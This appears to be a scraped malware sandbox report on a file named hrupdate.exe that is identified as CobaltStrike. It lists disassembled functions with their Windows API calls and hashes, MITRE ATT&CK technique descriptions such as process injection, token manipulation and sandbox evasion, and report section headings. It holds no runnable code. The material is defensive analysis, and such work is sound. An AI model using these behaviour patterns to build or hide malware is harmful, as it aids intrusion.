Function 04FD31F6 Relevance: 6.0, APIs: 4, Instructions: 41threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 04FD3203
OpenThreadToken.ADVAPI32(00000000), ref: 04FD320A
GetCurrentProcess.KERNEL32(00000008,?), ref: 04FD322D
OpenProcessToken.ADVAPI32(00000000), ref: 04FD3234

Part of subcall function 04FD317B: __snprintf.LIBCMT ref: 04FD31C8

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken$__snprintf
String ID:
API String ID: 3849403947-0
Opcode ID: f3d297d923697dc4061eabbb0481f96d3185ef1eb05d8c9a282643330041971a
Instruction ID: 2c80a5e93604f25587d0a45805d1eff3b236b0247eef48f296eff7c4ac511639
Opcode Fuzzy Hash: f3d297d923697dc4061eabbb0481f96d3185ef1eb05d8c9a282643330041971a
Instruction Fuzzy Hash: 16F04F72900208BBEB11AFA5ED0AB6D366EEF0464AF184015BB4590092DFB5B9029622

Function 04FD3F40 Relevance: 6.0, APIs: 4, Instructions: 40networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,00000000,00000000), ref: 04FD3F4E
send.WS2_32(00000000,?,?,00000000), ref: 04FD3F7B
send.WS2_32(00000000,?,?,00000000), ref: 04FD3F89
closesocket.WS2_32(00000000), ref: 04FD3F94

Part of subcall function 04FD3ED0: closesocket.WS2_32(?), ref: 04FD3ED2

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: closesocketsend$accept
String ID:
API String ID: 2168303407-0
Opcode ID: b454ce588b62f5703d09c3983a3c2bed156a97715bce37e0f9d78efe98a385ef
Instruction ID: 2c47d38f31f162dba309b15e1b2c39beadda2eb19481dbc706f6ac3a49dab007
Opcode Fuzzy Hash: b454ce588b62f5703d09c3983a3c2bed156a97715bce37e0f9d78efe98a385ef
Instruction Fuzzy Hash: 60F0B432100708BBE7303BB4FC41F6BB76EEF08635F284A06F756674D18661B4125762

Function 04FCCFCA Relevance: 6.0, APIs: 4, Instructions: 39memorythreadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNELBASE(00000000,04FCD06D,00000000,00000000), ref: 04FCCFE5
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,04FCD06D,00000000), ref: 04FCCFEB
RtlAllocateHeap.NTDLL(00000000,?,?), ref: 04FCCFF2
InitializeProcThreadAttributeList.KERNELBASE(00000000,04FCD06D,00000000,00000000), ref: 04FCD007

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: AttributeHeapInitializeListProcThread$AllocateProcess
String ID:
API String ID: 3402284281-0
Opcode ID: 870ccb06aa37f9d111e32f42aac496dc81f94385de449bcd08d287b745a01248
Instruction ID: 39b4ee766ab11212b84da41281dfac4b7694c1826fc0443a1732fb577b9a6c8d
Opcode Fuzzy Hash: 870ccb06aa37f9d111e32f42aac496dc81f94385de449bcd08d287b745a01248
Instruction Fuzzy Hash: CDF05E76A00109BF8B119BE9AD88CAF7EBCDB89650710002AFA01D3101EA359A42EB70

Function 04FCAE8B Relevance: 6.0, APIs: 4, Instructions: 35sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCAE9D
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 04FCAEB1
Sleep.KERNEL32(000001F4), ref: 04FCAEC5
GetTickCount.KERNEL32 ref: 04FCAECB

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 1ba7578e73c7f670c19230585de33f79d995dfa87d6df4d3ab1722108d267bae
Instruction ID: 242b07e1175d308e119ba4cb45b446595a6a0fcf8c39ffbbee42cc3ff7fc1c4d
Opcode Fuzzy Hash: 1ba7578e73c7f670c19230585de33f79d995dfa87d6df4d3ab1722108d267bae
Instruction Fuzzy Hash: 22F08C72E0010EFFAB005F95AE809AFB7ACEE44298710447AE501A2000EAB0BD429BA0

Function 04FE644A Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04FE6456

Part of subcall function 04FDF61D: __getptd_noexit.LIBCMT ref: 04FDF620
Part of subcall function 04FDF61D: __amsg_exit.LIBCMT ref: 04FDF62D

__getptd.LIBCMT ref: 04FE646D
__amsg_exit.LIBCMT ref: 04FE647B
__lock.LIBCMT ref: 04FE648B

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 402d2232e00ea02ac5c7eb93ddec67d33770eaf6eaa4cf4b9d84c0c47ab7d36e
Instruction ID: 924a58915f7b611fdf79397977a8a458c067a8d4c0e4117842a3221424f8777e
Opcode Fuzzy Hash: 402d2232e00ea02ac5c7eb93ddec67d33770eaf6eaa4cf4b9d84c0c47ab7d36e
Instruction Fuzzy Hash: B7F01D32E007189FF720BF669805B6A72A1AF4471AF844549A455EB690CFB8B903CA52

Function 04FD13B3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FD144F

Strings

ntdl, xrefs: 04FD1408
l.dl, xrefs: 04FD1419

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset
String ID: l.dl$ntdl
API String ID: 2102423945-1236859653
Opcode ID: 162390367584f635dd1b7117cd7faa496fdcb92568cab84af576ced0a503f385
Instruction ID: 927622fa94e7b3cdfe955496c00a30735d69ca2e953d37d7c9c8bf7f8af28978
Opcode Fuzzy Hash: 162390367584f635dd1b7117cd7faa496fdcb92568cab84af576ced0a503f385
Instruction Fuzzy Hash: 79713674E00209DFDB14CF98C680AADB7B2FF48315F2880AAD845AB355D734EE52CB90

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hrupdate.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
hrupdate.exe

Function 00B01480 Relevance: 54.5, APIs: 25, Strings: 6, Instructions: 269
windowstringnetworkCOMMON

Function 04FD4173 Relevance: 6.0, APIs: 4, Instructions: 44
encryptionCOMMON

Function 00B02180 Relevance: 42.3, APIs: 20, Strings: 4, Instructions: 344
networkstringCOMMON

Function 00B010A0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 175
COMMON

Function 00B02BC0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 102
memorynetworkencryptionCOMMON

Function 00B01B30 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 131
filememoryCOMMON

Function 00B012C0 Relevance: 18.2, APIs: 12, Instructions: 156
COMMON

Function 04FC609E Relevance: 16.7, APIs: 11, Instructions: 186
networkfileCOMMON

Function 04FC34E1 Relevance: 13.9, APIs: 9, Instructions: 415
timeCOMMON

Function 04FCBE03 Relevance: 12.1, APIs: 8, Instructions: 124
COMMON

Function 00B01A20 Relevance: 12.1, APIs: 8, Instructions: 74
timewindowCOMMON

Function 00B01900 Relevance: 10.6, APIs: 7, Instructions: 97
windowCOMMON

Function 00B02B00 Relevance: 10.6, APIs: 7, Instructions: 62
COMMON

Function 04FCCC39 Relevance: 9.1, APIs: 6, Instructions: 113
networkCOMMON

Function 00B02DCF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON